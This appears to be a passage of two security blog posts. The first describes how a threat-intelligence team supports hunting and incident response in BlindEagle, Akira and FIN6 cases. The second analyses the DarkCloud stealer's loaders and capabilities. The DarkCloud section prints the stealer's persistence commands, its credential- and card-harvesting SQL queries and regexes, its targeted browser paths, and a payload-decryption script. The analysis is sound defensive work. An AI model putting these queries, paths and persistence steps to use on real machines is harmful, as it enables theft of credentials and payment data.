Likewise, some companies force themselves to have teams that do not make sense for their organization because of needs they cannot actually cover due to their idiosyncrasy. If as a company you do not even have devices inventoried, an IT team, or a properly segmented network, how are you going to have or hire a TH or CTI team? The order of priorities required to remain competitive compared to other companies, as well as the desire to satisfy client needs, also creates malformed teams or teams that do not make sense in the organization at the moment they are created, because the company does not have the maturity for them. This greatly aggravates existing problems, resulting in teams that do not do what they should do (for example, TH teams looking only for IOCs) and, certainly, with no communication with other teams.

The most logical step to improve communication is to place CTI at the center of the company, making it much more accessible to move and work information, a point we will cover later.

_How to leverage intelligence? How do we do it?

One measure that could solve part of the problems described above is to work together with the clear understanding that CTI is a department that should be at the operational center, neither above nor below other sibling departments such as TH, DFIR, Offensive, etc., from which we can spend 40%–50% of our time supporting colleagues in different tasks, merging and complementing intelligence work across the three levels (strategic, tactical and operational) in each department. For this reason it is essential that the CTI team be composed of people with diverse backgrounds in different areas.

The great advantage of having all departments connected and CTI able to share the work it produces, as well as reuse or assist with intelligence tasks for other departments, brings a level of maturity that almost no company is currently achieving.

A frequent question is: what tasks can CTI perform as support for other teams? The answer is both simple and difficult, since it depends on the teammates that make up the team, the tools at our disposal, and the capacity to create procedures that determine which tasks we can perform for other teams.

In the following graphic, some examples are represented across the three intelligence levels of how CTI can support each team in different ways. There are of course countless options depending on capabilities and tools available, but the power of this model is not only in helping colleagues and adding that extra layer of intelligence, but in giving the work dual use, creating an almost infinite loop of information and the ability to generate intelligence from different angles.

Example: As CTI we help during an incident by providing information about the adversary, collecting TTPs, new reports, and cross-checking what we already know about the actor with external sources, as well as pivoting on IOCs or analyzing tools or malware found during the incident. Having assisted with these tactical and operational tasks, we enable DFIR colleagues to focus their work and avoid wasting time on these areas, and we can provide a more “external” view to guide them on good next steps, because we have context on who the actor might be or which techniques they have historically used. But we do not stop there, because after the incident we can deepen our analysis of the adversary, their TTPs and tools, break down victimology and see how to leverage this information for other technical teams, for example with the TH team we can design rules, and with non-technical teams such as Business we can look for potential clients that might be targets and prepare a press note or incident summary.

The capabilities we have as CTI internally are only limited by the colleagues who compose it and the tools and ideas we can bring to be a differentiating factor in the activities of other teams. This should not be unidirectional, all teams should be able to share anonymized information, CTI acting as a nexus and facilitator, never as a stopper. For example, communication between TH and RT should be natural, where new audits and techniques by the offensive team are very useful to strengthen defenses and think of new detection strategies, and similarly when TH develops a detection that arises from a technique or tool used by the offensive team, RT can think of ways to bypass it or find alternatives, strengthening both teams systematically and without limit, (this correlation is almost never done, unfortunately).

The way to build a technological stack must be driven by the people on the teams, not the other way around, that is, tools should be chosen based on team capabilities. Likewise, it is important to choose the stack taking into account the full pull of teams and not have each team select different tools for similar purposes, which happens far more often than you might think.

When creating a team, it is sometimes a good strategy to start with low-cost or open source/free tools and scale the stack as the team matures or the tools become limiting, but it is important to think about tools that will provide high value in the medium and long term and that are cross-functional, that is, that support or can serve multiple teams at once, such as MISP, OpenCTI, etc.

If teams decide jointly which tools they will use and for what purpose, and reach consensus, they will progress together and actually use them, with CTI supporting the feeding of these tools as much as possible so information is centralized.

A clear example of a cross tool is OpenCTI, which anyone can deploy, is easy to use although difficult to master, and offers capabilities that allow teams to be involved in multiple ways:

• Providing strategic information on potentially active campaigns, relevant for SOC or TH
• Collecting trend information, relevant for everyone
• Obtaining information on new tools, CVEs or malware, relevant for TH and Offensive
• Gathering anonymized incident data (historical) to correlate with indicators or reports, relevant for DFIR, TH, Offensive
• Connecting internal and external indicators, relevant for everyone
• Uploading reports created by intelligence or anonymized from other teams and extracting TTPs and IOCs, relevant for DFIR, TH, Offensive

_Connecting the dots – Real cases

The application of the concepts developed during the talk comes into play when we place an intelligence department with limited tools but capable of covering the three intelligence levels and correlating intelligence, positioned at the center of operational departments, as described earlier, setting milestones and creating procedures to make internal assistance effective.

During this implementation, which took more than a year of work, we assisted and collaborated with different teams from a CTI perspective, encountering various adversaries. Here we will go in depth on three cases: BlindEagle (APT-C-36), Akira and FIN6.

_BlindEagle

For the three adversaries we will review the communication scheme followed. In this case, during the incident other teams are not included, since later we will see how to leverage the work and exploit the full communication cycle previously discussed.

Communication began with TH, where the work was shared between DFIR, TH and CTI teams.

Throughout all cases, we kept the same milestones, which were defined based on available tools, teammate capabilities, and the time that could be invested supporting each team; these variables can vary

Thus, the milestones set to assist in all the cases we will examine were:

• Obtain more affected devices
• Collect IOCs and TTPs, providing internal and external context of the threat
• Perform attribution
• Help in searching for the execution chain
• Analyze malware, tools and hacktools

This incident began with a natural communication between TH and CTI, since we provided CTI-driven support to TH services, where a hunting event revealed execution of an obfuscated PowerShell.

Supporting the TH team, we got to work to see which tasks we could help with, starting to look for campaign context and to deobfuscate the PowerShell.

The code chains led us to a double download, one of which used steganography (so it was embedded in an image) and the other was another obfuscated string.

After extracting both, we arrived at two .NET binaries that we later analyzed.

With this analysis, having collected IOCs, TTPs and seen part of the execution chain, we can see that we are beginning to meet the milestones, where collecting TTPs and IOCs is naturally recursive, as is searching for new affected machines together with the TH team.

After this phase, we determined we could be more helpful to the hunters by locating the entire execution chain so they could extract all potentially affected devices, so we continued on that point.

As CTI we must be able to extract internal and external information useful for the team we are assisting. In this case we knew some IOCs and TTPs and we searched sandboxes and public sources for similar executions and scripts, increasing our knowledge of the threat and obtaining more samples and variants the actor may have used, which helped us extrapolate the execution we were seeing and be more effective.

We positioned ourselves on the execution we observed to understand what happened before and after, and thus map the full execution chain. In this case we saw a script was executed because there was a parent Wscript process that launched a PowerShell.

External information we can extract at this point is valuable, since we can find other scripts that help understand how the prior event occurred. The adversary could have used links or office documents to get the victim to download the script, for example. Logically, we discovered that someone must have sent this information, and therefore it was spear-phishing; when reviewing it we found attachments, headers, emails, etc., which were useful indicators that later helped increase our external correlation.

Knowing how it started, we found various phishing samples both in the infrastructure and referenced by other researchers on different platforms, which helped us find additional capabilities the actor used, such as achieving persistence by dropping a VBS that acted as a loader for the entire execution, which invoked wscript, which invoked PowerShell, and which was launched by an LNK in a startup folder so the execution started on each system boot.

At this point we had the entire execution chain clear and as CTI we collected IOCs and TTPs, which we should draft visually to understand the campaign and use later.

Then we worked with TH to provide new information and collaborate on finding additional affected machines, using many indicators to find more compromised devices. Thanks to this expansion we went from seeing a couple of machines to identifying many more devices in the environment: some had downloaded the phishing content but not executed it, others had persistence, and others had executed the entire chain, so we had more understanding of how the estate was impacted and could create stronger hunting rules to use tactically with other clients with similar profiles.

Subsequently, we analyzed the malware to provide more context, understand its functionality and extract additional TTPs and IOCs.

Thus, the first binary was being loaded dynamically, following a specific GetType and GetMethod that later served us.

The end result was an in-memory load of the first binary’s code, which has capabilities to obtain process information and perform injections, specifically process hollowing. At that point we did not dig much deeper because the capabilities were limited and the utility of that binary was clear: it was going to be the injector for the second binary.

In the second binary we saw a decrypt function that obtained information about ports, domains, IPs and a mutex that serves as an indicator, useful to know whether it is already active on the system and avoid re-execution; in some cases it can be used for attribution.

Other capabilities, like enumerating running processes to terminate those related to analysis, are commonly used by malware to avoid anti-analysis and execution in virtualized environments.

Another characteristic is checking the current privileges to try to escalate them, attempting to run with the highest privileges possible to avoid problems during later phases.

Summarizing the most important characteristics, it connects to C2, attempts to establish a connection and shares basic system information it gathered in the initial function.

From this analysis we concluded the first malware is an injector that loads the second in memory, and the second is a DCRat (AsyncRAT).

Our next milestone will be to attempt attribution, a topic for another talk, however here we will pursue it as much as possible with the capabilities and tools we have. We will focus on aspects we have already obtained such as indicators, strings, processes and commands, and we will run YARA on the malware to try to find other cataloged and public samples similar to ours.

In this case we started pivoting on the IOCs to find already-reported infrastructure similar to what we see, which is useful to profile actors because we assume they may be as lazy as we are and build their infrastructures with the same hostnames, same open ports, same certificates, etc. (also to minimize costs).

During this pivoting we found infrastructures very similar to our indicators that pointed to njRAT, AsyncRAT, DCRat, etc.

In one of these searches we reached an IP with characteristics matching ours, where an AsyncRAT had been used by BlindEagle, so we established the first link to an actor.

Additionally, by searching for command lines similar to ours we found other reports with the same executions used to load the first binary in earlier stages, which had also been correlated to APT-C-36.

Having arrived at the same conclusion by two different routes, we searched for more information on new BlindEagle campaigns and found multiple indicators and reports very similar to ours, which we could cross-check because we had constructed a draft of the execution chain during the earlier phases to understand the entire process.

With our TTPs and visually, we could connect other reports that shared modus operandi, arriving at the same conclusion from another angle.

Attributions are always complicated, and many CTI teams tend to overreach. As a rule of thumb for intelligence teams, never assert definitively that an adversary is the one you claim, but say that the evidence makes it highly likely. Inventing adversaries is also not good practice.

At this point we have achieved our objectives and can see what to do next, once all milestones are completed, in the “Lessons Learned” section:

• We can identify other clients who could benefit from this information both from a business perspective (acquiring new clients or informing existing ones) and from a Hunting perspective, where we can tune those hunting rules and look for other similar clients that may have been affected by this campaign, or prevent them being affected by applying those rules
• We can create and operationalize these rules
• We must store all information, as CTI we should know what happened and when, so it is advisable to always have a database or similar to keep all information, resources, modus operandi, IOCs, etc., and support this with OpenCTI
• After the incident we can reanalyze everything, the adversary, the TTPs, tools, etc
• All extracted information can be shared with other teams, but giving them what they need (a 200-page report they will not read is not useful, we must be effective)
• We must iterate on the adversary: it happened once, it will happen again, so having sensors to detect new information about BlindEagle will be crucial; if new information appears, analyze what changed, adapt queries, re-notify clients and restart the cycle

_Akira

In this second scenario we will come across Akira, the famous Ransomware group, in which the scheme we will follow will be more focused on the relationship with DFIR teams, but where TH will also have its collaboration.

The milestones we are going to try to achieve are exactly the same as in the previous case, but in this incident there was a particularity, and that is that as we discussed in the previous point, CTI must keep all the information related to milestones or incidents from other departments in order to serve as a guide or memory at specific times. In this case, the IR team, on the first day, was only given information about how the sample had been executed, as well as the name of the path and folder. As usually happens in incidents, there are times when the client does not yet have the information or buries the colleagues in work. With the pattern of how it was being executed, the file name, etc., we were able to match the provided information, since we had seen Akira before, we had already analyzed the adversary after previous incidents, and we had external and internal information. In short, with a single execution, we could infer that it could be this actor (since it followed the same patterns), search in our DDBB and indeed it matched almost perfectly.

This action made it possible that from the first minute of the incident we could already help and provide context about the threat, as well as anticipate attribution (until more evidence was available).

The next day, the famous Readme files appeared, as well as pictures of the extensions, and we were able to confirm all the information. However, thanks to this quick CTI response, we were able to advance the work, collect current information on Akira, update TTPs, tool arsenal, etc., which served as context so that the response teams would know what to look for in the upcoming logs.

Thus, we as CTI, as in the previous case, will try to help with whatever our colleagues need, adapting to the needs and taking into account the milestones we can fulfill.

In this case, the sample was recovered and it was necessary to obtain information from the binary to extract the most important functions, understand how it worked, extract more IOCs, etc. This point, besides being informative for the report, serves to understand its capabilities as well as to compare them with what we already had.

Starting with the analysis, we can see how Akira prepares Logs, as usually happens with Ransomware groups that are starting, to record everything that happens and keep track.

On the other hand, it maintains control of the processes that are running, enumerating them, iterating through them, and looking for those that are on its blacklist to kill them. This will prevent processes related to debugging, analysis, etc. from being active.

Other typical control measures that can be useful for the teams we are supporting are propagation and lateral movement, since many Ransomwares look for nearby disks and networks to spread. This gives us contextual information that if one device has been affected, all those around it (shared folders, network drives, etc.) should also be affected, allowing us to discover more compromised systems.

A common point is the deletion of shadowcopies to prevent system recovery, where Akira instead of having a preset string, deobfuscates it at runtime, preventing it from being detected by static analysis techniques or tools, constructing the PowerShell command that it will later execute.

Modern Ransomwares almost all currently work with multi-threading, Akira is no exception, so we will see how it opens several threads, which it controls with semaphores, and executes the most critical functionalities. We can see how one thread will go through each folder, checking if it is valid, writing the ransom Readme, etc.

In other threads it will check each file, since like most Ransomwares, it does not want to affect certain binaries, and it will check the size, change their extension, and later apply the algorithm to render the files unusable.

At this point we must think about what we can receive and give during the incident. Our colleagues may have extracted interesting information, as was the case with brute forces and connections from certain remote IPs (Orange), this can be used to look for other similar infrastructures and try to block access, as well as to collect more IOCs. Even if it is not necessary in this case, it could be useful for possible attributions. Likewise, knowing how it moves internally, we could design rules with TH to learn all the technical details (ports used, commands, etc.). We also have file names or paths extracted from the malware analysis, as well as lateral movements, which we can translate for DFIR and TH teams.

The key example is the following, where different addresses were pivoted and one of them led us to a specific reported IP, which was exactly the same as the one we were seeing, indicating that they had not changed the infrastructure in this case.

In this case the points were resolved together with the collaboration of DFIR and TH, since the affected devices, with the contextual information and TTPs we had provided, plus the log review and TH assistance with query design, were able to determine the impact on the infrastructure. Throughout the incident we were collecting all TTPs and IOCs internally and externally, storing and using them during the incident, as well as the attribution that had already been resolved or the malware analysis. In the case of the execution chain we understood what our colleagues were extracting from the logs and organized the information to understand the full execution chain, comparing it with external and internal data and storing all of it.

During the incident, it is an interesting point from CTI’s side to build Diamond Models to summarize what happened, being an added value to the reports and an internal aid that we will keep in each work we perform.

In the same way, we should work on the execution chain mentioned before in a graphical way, just as we did with BlindEagle.

The final result and lessons learned are similar to the previous case, with the addition that in this case there is no need to think so much about which clients may be interested, as almost all are interested in a Ransomware case, so the sharing of information becomes more relevant for both technical and non-technical teams, where business or marketing teams can share simplified versions or strategic information of what happened with clients.

_FIN6

The third case is based on FIN6 and will have a direct connection with response and TH teams

The idiosyncrasy of this incident is different, since the TH team had seen a similar campaign some time before but had not been able to determine anything conclusive. However, the detection systems were able to stop the threat at early stages so there was no alarm. In a second iteration, where the adversary struck again, panic spread since it managed to go further and the teams were still unable to determine key points to perform an in-depth analysis, so we had to work against the clock and correlate the information to reach actionable intelligence.

In this case, we focused on trying to identify the actor as well as the possible execution chain to resolve the other points.

The only thing our colleagues could provide was a jscript execution that launched a txt (which was actually a js), and from there we had to move from a CTI perspective.

In this case, we followed every clue to try to identify the actor and the execution chain to be able to unlock the remaining milestones.

We started by seeing what had happened moments before, where an execution of msxsl launching another txt with a similar pattern was observed, abusing this LOLBAS to execute malicious code (which we did not yet have at that moment).

With this information, we tried to search in public sources and sandboxes for any information that correlated, performing regex searches and looking from different perspectives considering the commands seen. In this search we found a very old tweet from Vitali (this man unfortunately passed away a few years ago and his work remains remarkable, what a legend).

With the possibility that it could be More_Eggs, we began analyzing reports, the most recent ones possible, and found cross-references that, when added to this campaign and the observed behavior, matched quite well even after several years.

At that point, we were able to recover the txt files and search more specifically in strings and create yaras from them to pivot to more precise information, where we found Proofpoint reports that matched TTPs as well as content almost perfectly with what we had seen on the affected devices.

In this line of research we reached a Trend Micro report whose graphic perfectly explained the modus operandi and greatly helped to visually understand the campaign we were seeing, a resource that we would use later.

In this case, even without ensuring anything about the TA, we decided to collect all the TTPs from the different reports we had gathered and worked together with TH to design queries and try to see if it fit the various observed modus operandi.

In the threat context, we knew there had to be an execution abusing a library, based on the information seen, so we searched for rundll32 or regsvr32 executions and found information that helped us move laterally to understand how the threat was occurring.

From these executions, which were very similar, we inferred that there might have been an obfuscated cmd execution moments before.

This execution was usually triggered by an LNK that someone had manually opened (explorer.exe) and therefore detonated the rest, so we searched for LNK executions.

Someone must have downloaded this script somehow, so by searching for the same name (Heather Nickel), we found the download (in ZIP format) as well as the auxiliary file in jpg format, exactly as seen in the reports.

At first we were only able to observe a small part of the defense evasion, however, we were able to extract and expand the obtained information towards the execution, even part of the initial access, collecting a large portion of the execution chain.

At this point we were able to delve deeper into the initial access and confirmed that it worked in the same way, using a person’s name such as “Heather Nickel”, “John Cboins”, “William Lynch”, etc., which was used as a lure to apply for jobs or similar excuses, where they sent us download URLs that ended up generating a compressed file download that started the whole process. Similarly, we inferred that communications to external domains with the same name pattern were used, so we found these communications, which also led us to find more samples by pivoting through public sandboxes, increasing our knowledge about the campaign and obtaining variants of what we had already seen.

At this point, we had the execution chain very clear, being able to also confirm the actor since, through commands, incident indicators, and script yaras, we reached reports or information pointing to the same actor. This information helped us search both in this client and others with the same profile, greatly increasing the number of initially confirmed affected devices.

As you can see, not all milestones in this case are covered, since intelligence in certain cases cannot achieve all its objectives. We tried to recover the More_Eggs but it was not possible (due to the technology used), so we did not complete either the malware analysis or the full collection of TTPs and IOCs, as we were missing a key piece. However, it is always important to go as far as possible with the information available, and thanks to the joint action of different teams, we were able to determine the entire campaign, find many more affected devices, and collect a large number of distinct TTPs and IOCs that completed or added to the information we already had, being more than enough to fulfill our mission, even with the limitations we clearly had.

Regarding the lessons learned, it is imperative that any new information must be pursued to try to reach the malware and complete the investigation, in the same way as fulfilling the same requirements as in the previous points, but with the additional factor that this campaign had extra sophistication and required improvement in email detection or communications with domains following the observed patterns, since adversaries like this one, as well as some APTs (especially from DPRK) such as Lazarus or Kimsuky, have used similar techniques, so it is worth considering detection techniques for such activities.

_Conclusion

Throughout the three incidents we have tried to maintain correlation with at least two other teams, but as mentioned earlier, this is only temporary, since as CTI we must be able to move the precise information to those teams that can make use of it.

A key example are the less technical teams dedicated to Business, Marketing, etc. These teams can obtain great benefit from the information extracted from these incidents. In all of them, we can create an executive version that they can share both with potential clients who have the same profile as the victims and with our current customers. Likewise, they can make press releases with information about how events unfolded, to raise interest toward deeper investigations or adapt it to the customer’s landscape. We can also extract relevant information, as there will be new TTPs or malware families that we can use. Has a CVE been exploited in X technology? All our clients who we know use it will appreciate that information. In the same way, the collection of information about incidents, if we keep everything that happens in different teams, allows us to know what is trending compared with what we see externally, which is very valuable information for all clients and other teams, since DFIR, TH, SOC, or Offensive teams can all benefit from knowing techniques, tools, malware, or adversaries currently in the spotlight. This helps them take defensive measures or gain ideas for future exercises.

On the other hand, offensive teams can obtain useful information about TTPs or tools seen during incidents. In addition, analyses of these have been carried out, so there is usable information that can be shared with them. Have we built a lab, launched samples, or reversed them? Knowing how they behave, giving them access or the specific information of how it happened, helps them think about new scenarios. In the same way, if there are new CVEs being exploited, whether from internal incident information or from external sources, we can help directly if we also adapt any kind of information to their way of working. Do they use MITRE? What does the team want to improve for the next audits? We can be a point of support simply by giving a double use to the information found in other teams.

As discussed, the strength that comes from merging with other teams gives CTI a broad vision, allowing it to be relevant in different aspects of operations. Evidently, each team must understand what components make up their structure, establish procedures, and define a stack that fits, so that intelligence makes that difference which, in the short term, may not seem so relevant, but in the medium and long term establishes maturity and maximizes the use of information that intelligence generates and reuses in each event that occurs within the company.

This concept is simply a Tier 1, where the second Tier should be to take this idea to other companies and merge with teams from other organizations as well, extracting benefit and information both internally and externally so that both our company and the one we provide service to can reuse and feed back from it, having as many inputs as possible. Obviously, even though CTI has existed for years in a more “hidden” way, it is still a relatively new role that needs to mature, and company executive lines must understand its usefulness as well as its potential. The same thing happened with TH (and still hasn’t been fully achieved), as these are very complex teams with tasks that can evolve and grow, becoming highly differentiating factors in operational environments

DarkCloud is a type of malware categorized as a Stealer, which has evolved over time and positioned itself as one of the most widely used in its category. DarkCloud began making an impact in 2022 and gained relevance that same year and in 2023 by being promoted in various forums showcasing its functionalities. As usual, it was sold through different sources, often leading buyers to communicate via Telegram for its acquisition.

The execution and distribution of this Stealer have been driven by phishing campaigns, where attackers impersonated various companies or disguised their attacks as payment receipts, fines, and other commonly used tactics aimed at compromising HR departments or similar targets. However, it has also been used in other, less frequent campaigns, where users were directed to download or execute malicious samples through infected products or websites, employing techniques such as malvertising, watering hole attacks, or similar methods. Additionally, it has occasionally been deployed alongside other malware acting as loaders or launched in conjunction with similar threats, such as DbatLoader or ClipBanker.

_Technical Analysis

The distribution method, as we mentioned, can vary, but in the vast majority of samples I have encountered, phishing has been the primary focus. Therefore, we can say that phishing is the most common distribution technique for DarkCloud, even though it has been associated with other methods. Once the victim accesses the link or downloads the file, they may encounter compressed files leading to a loader, documents, or even scripts in different languages that initiate execution. After this, a loader is executed, which typically downloads the next stage or contains it within its resources, obfuscated or encrypted, to extract the next module. This module will execute DarkCloud in memory before injecting it. The final step is the theft of various types of information, including browser data, FTP credentials, screenshots, keylogging, and more.

A diagram summarizing the most common versions I have encountered and attempting to unify them into a single representation is as follows:

During the analysis process, I have come across various samples that all aim to achieve the same goal—executing DarkCloud. While respecting the different versions, I will highlight the most relevant and distinct ones I have found to provide a clearer understanding of the various existing variables. However, I will avoid excessive detail to keep the explanation engaging rather than tedious.

As mentioned earlier, the most common approach involves phishing attempts using documents, compressed files, or other formats.

Going straight to the point, in an initial execution of one of the samples I analyzed, we see a rather extensive process—a succession of execution copies launched in temporary paths.

Once the victim falls for the phishing attack, they may be led to different types of loaders. Some of these can be scripts, covering a wide range of formats, from JAR and BAT to PowerShell (PS). It’s quite interesting to see the variety of types I have encountered, especially considering that I generally do not analyze samples from previous years.

_Script Loader Versions

In the case of JAR files, they retrieve the information for the next stage using embedded resources—something that, as we will see, is not the common trend in DarkCloud.

In other versions, such as those written in PowerShell, which are more common, we can observe executions where, after multiple and varied obfuscation techniques for each type, the process leads either to a download or to the extraction of a binary. This binary, in its resources, contains the next stage, which in this case is an AutoIT script.

At this stage, several tasks are performed, such as the creation of a VBS file (a very common practice, as you will see) in startup-like folders to establish persistence. Ultimately, this specific sample carried out an injection into svchost, but we will explore that in more depth later.

To wrap up the discussion on scripts, another frequent scenario involves encountering VBS/PowerShell scripts—more or less obfuscated—that establish a connection to download and execute the payload. This method is similar to the one previously observed in PowerShell. If the download link is down, however, the process reaches a dead end—something quite typical for this malware. As I mentioned earlier, a large number of samples follow this step at some point. Here are some additional examples.

_Most common loader stage

Moving on to another category of samples, where I will expand on the information a bit more, we have those typically based on .NET. These can act as loaders or appear in the second stage, depending on the version. Among these, there are many similar samples, often utilizing different obfuscators.

After working with several of these obfuscators, we usually reach an initial function where the samples, in different ways, request the next stage to process it. This poses a problem, as you might expect, because unless the sample is very recent, it is likely already inactive and cannot be retrieved. This means we get stuck at the dynamic analysis stage (debugging and such things), and we will only be able to rely on our sharp eyesight to understand everything statically. Personally, I dislike this approach, as I prefer to examine all (or most) of the functions to gain a deeper understanding of everything the malware does.

As we can see, when we try to load the path and therefore, the binary, it will crash and we will have a dead end.

_Technical Issues

I wanted to dive deeper into a specific topic in case it helps someone, but it doesn’t affect the overall understanding of the analysis. So, if you’re not interested, feel free to skip it (You can follow the analysis in “Following the thread” section). In this case, we reached a DarkCloud sample which, in most cases (if we want to roll back and don’t have fresh samples), makes requests to a specific domain to download the next stage, as we’ve seen. This might seem like a trivial issue, but it’s actually quite serious if you truly want to analyze in detail how a sample works—or, in this case, how multiple variants of the same malware behave.

Sometimes, it’s a good strategy to try and obtain the file that is being downloaded. Tools like VT (VirusTotal), Any.Run, JoeSandbox, Tria.ge, and others make this relatively easy, as long as we know the IP or domain the sample is contacting. We can then pivot and take a more h4ck3r-like approach, capturing packets (.pcap) to inspect the received data—how deep you want to go into this is up to you. However, in this case, additional steps were required because the sample requested the file at runtime to modify, process, and then execute or load it. This adds an extra challenge, as we need to understand the sample, debug it up to the right point, and manipulate it so that it processes correctly.

I came up with three ways to approach this (I know there are many more, and yours is probably better), and to keep things simple, I tested them on multiple examples but will only show one to stay focused:

_Setting Up an HTTP Server and Hosting the Sample Locally

This is probably the simplest option. It involves extracting the sample (which we would have retrieved by pivoting and identifying what it wants to download), placing it in a directory like C:\\ , modifying the hosts file to point to our local machine, and starting an HTTP server using Python. I chose port 80 even though the request was originally HTTPS, because changing an “s” in the debugger is obviously much easier. Once we reach the same execution point, we can observe what the sample serves and proceed further.

_Modifying Traffic with Fiddler

Sometimes, I like using Fiddler, so I wanted to test it in this scenario. I simply created a rule that, when the specific URL was requested, it would serve the file from my local directory. Some configuration changes were required in Fiddler to redirect traffic to localhost. Of course, I also modified the hosts file. In this case, I set up test.com to point to localhost. Once the sample reached the same function, I made the same modification as before—switching to HTTP—to ensure it received the file at runtime.

_Combining Techniques

For the third approach, I experimented with a hybrid method. I kept the same rules as before but changed the URL to one I was serving on test.com, with the file located in C:. When the execution reached the crucial point, I changed the URL, and it loaded successfully.

Following the thread

After obtaining and loading the file at runtime, the next step involves key generation. As mentioned earlier, it’s very common for pre-loader stages to deobfuscate or decrypt some part of the code—or even an entire file.

At this stage, we can see that the PDF was loaded into an array, and indeed, it matches the one we had retrieved via pivoting.

From here, the usual process follows: the code undergoes processing, whether through deobfuscation or decryption. In this example, the technique used is Base64 + TripleDES.

We observe how the keys are processed

After this we will see that at the end of the function we can obtain the processed binary

At this point, we can go full h4ck3r mode again and verify that we are on the right track and truly understand the process. For example, we can write Python code to handle the extracted file and perform the decryption ourselves.

from Crypto.Cipher import DES3import binascii#KeysrgbKey = bytes([0x39, 0x1C, 0x8A, 0x9E, 0x80, 0xC2, 0xF8, 0xDF, 0x36, 0x3E, 0x46, 0xFB, 0xD9, 0x12, 0x09, 0xBA])rgbIV  = bytes([0xA3, 0x4B, 0x1F, 0xEB, 0x28, 0xFE, 0x46, 0xEA])#Hex datahex_data = "<redacted>"ciphertext = binascii.unhexlify(hex_data) #Decrypt Triple DES (3DES)cipher = DES3.new(rgbKey, DES3.MODE_CBC, rgbIV)plaintext = cipher.decrypt(ciphertext)#Savewith open("output.exe", "wb") as f:    f.write(plaintext)print("Saved as output.exe")

In both cases, we should be able to extract a binary, which is then loaded into memory.

Decryption Result in a Graphical Format

I tested this myself, and as expected, we received the same content in both cases.

To make the binary extraction process more visual, here’s a summary in graphical form:

Once we reach this stage, what we obtain in most cases is a library that loads the code into memory. However, it also performs other tasks, such as creating additional persistence mechanisms.

After loading the library module, it carries out actions like creating scripts in temporary folders or startup-type directories. We’ve seen this before, but it’s not the only persistence mechanism I’ve encountered—some samples also modify registry settings or scheduled tasks.

Examples of Different Persistence Methods

schtasks.exe /Create /TN "Updates\<RandName>" /XML "C:\Users\<user>\AppData\Local\Temp\<DroppedFile>"C:\Users\<user>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\<RandName>.vbsKey: *\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce - Data: *\AppData\Roaming\Microsoft\Windows\Templates\<RandName>.exe

Ultimately, everything culminates in the injection of a VB-based binary, which is the Stealer. This gets injected into a process of its choosing. I’ve seen a variety of targets, ranging from RegSvc to .NET files, and even the loader process itself. As is common with RATs and Stealers, this technique is designed to evade detection and complicate analysis. It is much easier to spot an unusual process or file than to analyze or detect something that resides in the memory of a legitimate system process.

Here’s a list of the most commonly used processes I’ve observed:

• Svchost
• InstallUtil
• MSBuild
• Itself

I didn’t want to go too deep into the extraction of the second binary, since it follows a similar process but from a second-stage library. The end result is a VB-based binary with extensive capabilities, which I will now present in a more accessible format.

Once injected, DarkCloud exhibits a wide range of malicious activities. It systematically gathers information from web browsers, collects system data, and even harvests credit card details. Additionally, it closely monitors running processes and logs keystrokes, making it a highly capable and well-rounded piece of malware.

As a curiosity, while I was collecting all the command lines it executes, as well as the registry entries and other accessed locations, I noticed that the credit card-related regex used by DarkCloud had been copied in order from a site on GitHub (@michaelkeevildown)

michaelkeevildown Github

I leave you with the compilation of interesting paths/logs/cmd that I have compiled based on the extracted samples.

Features

• Screenshot
• Keylogger
• Get credentials
• Get Computer Name/Users
• Mail Info
• IMAP/HTTP/SMTP/FTP/NNTP/NNTP/POP3 Info
• Password managers
• Router info

Paths/Files accessed

\Default\Login Data\ \User Data\ \WebData\\Logins.json\key3.db\key4.db\keyDBPath.db\signons.sqlite\keyDBPath.sqliteStorage\mail\Data\\Accounts\Account.rec0\Accounts\Account.tdat\Account.stg\Account.rec0\Local State\Microsoft\Windows\Templates\\accounts.xml\recentservers.xml\sitemanager.xmlSoftware\Microsoft\Office\15.0\Outlook\Profiles\Outlook\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\Software\Microsoft\Windows Messaging Subsystem\Profiles\Software\FTPWare\COREFTP\SitesSoftware\Martin Prikryl\WinSCP 2\Sessions\Google\Chrome\User Data\Opera Software\Opera Stable\Yandex\YandexBrowser\User Data\360Chrome\Chrome\User Data\Comodo\Dragon\User Data\MapleStudio\ChromePlus\User Data\BraveSoftware\Brave-Browser\User Data\7Star\7Star\User Data\CocCoc\Browser\User Data\uCozMedia\Uran\User Data\Fenrir Inc\Sleipnir5\setting\modules\ChromiumViewer\CatalinaGroup\Citrio\User Data\NETGATE Technologies\BlackHawK\Profiles\8pecxstudios\Cyberfox\Profiles

Software

OutlookfoxmailpidginCoreFTPWinSCPFTPWareFileZillaChromeOperaYandex360ChromeComodoMapleStudioChromiumTorchBraveIridium7StarAmigoCentBrowserChedotCocCocElements BrowserEpic Privacy BrowserKometaOrbitumSputnikuCozMediaVivaldiFenrir IncCitrioCoowonliebaoQIP SurfMicrosoft EdgeMozillaWaterfoxK-MeleonThunderbirdCyberfoxBlackHawK (NetGate)

Regex

Proto^([a-zA-Z0-9_\-\.]+)@([a-zA-Z0-9_\-\.]+)\.([a-zA-Z]{2,5})$^(?!:\/\/)([a-zA-Z0-9-_]+\.)[a-zA-Z0-9][a-zA-Z0-9-_]+\.[a-zA-Z]{2,11}?$Accounts (I don't put more because you have them in the github)^3[47][0-9]{13}$Amex^(6541|6556)[0-9]{12}$BCGlobal^389[0-9]{11}$Carte Blanche Card^3(?:0[0-5]|[68][0-9])[0-9]{11}$…

Queries

SELECT origin_url, username_value, password_value  FROM loginsSELECT name_on_card, expiration_month, expiration_year, card_number_encrypted  FROM credit_cardsSELECT origin_url, username_value, password_value, length(password_value)  FROM loginsSELECT hostname, encryptedUsername, encryptedPassword  FROM moz_loginsSELECT item1 FROM metadata WHERE id = 'password';SELECT a11,length(a11) FROM nssPrivateSelect * from Win32_ProcessSelect * from Win32_LogicalDiskSelect * from Win32_ComputerSystemSELECT * FROM Win32_Processor

RegKeys

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Foxmail.url.mailto\Shell\open\command\HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\

BlackList Process

fiddlervxstreamtcpviewprocexpvmtoolsautoitwiresharkprocmonidaqautorunsapatednswindbg

IP public

http://showip.nethttp://www.mediacollege.com/internet/utilities/show-ip.shtml

_Outro

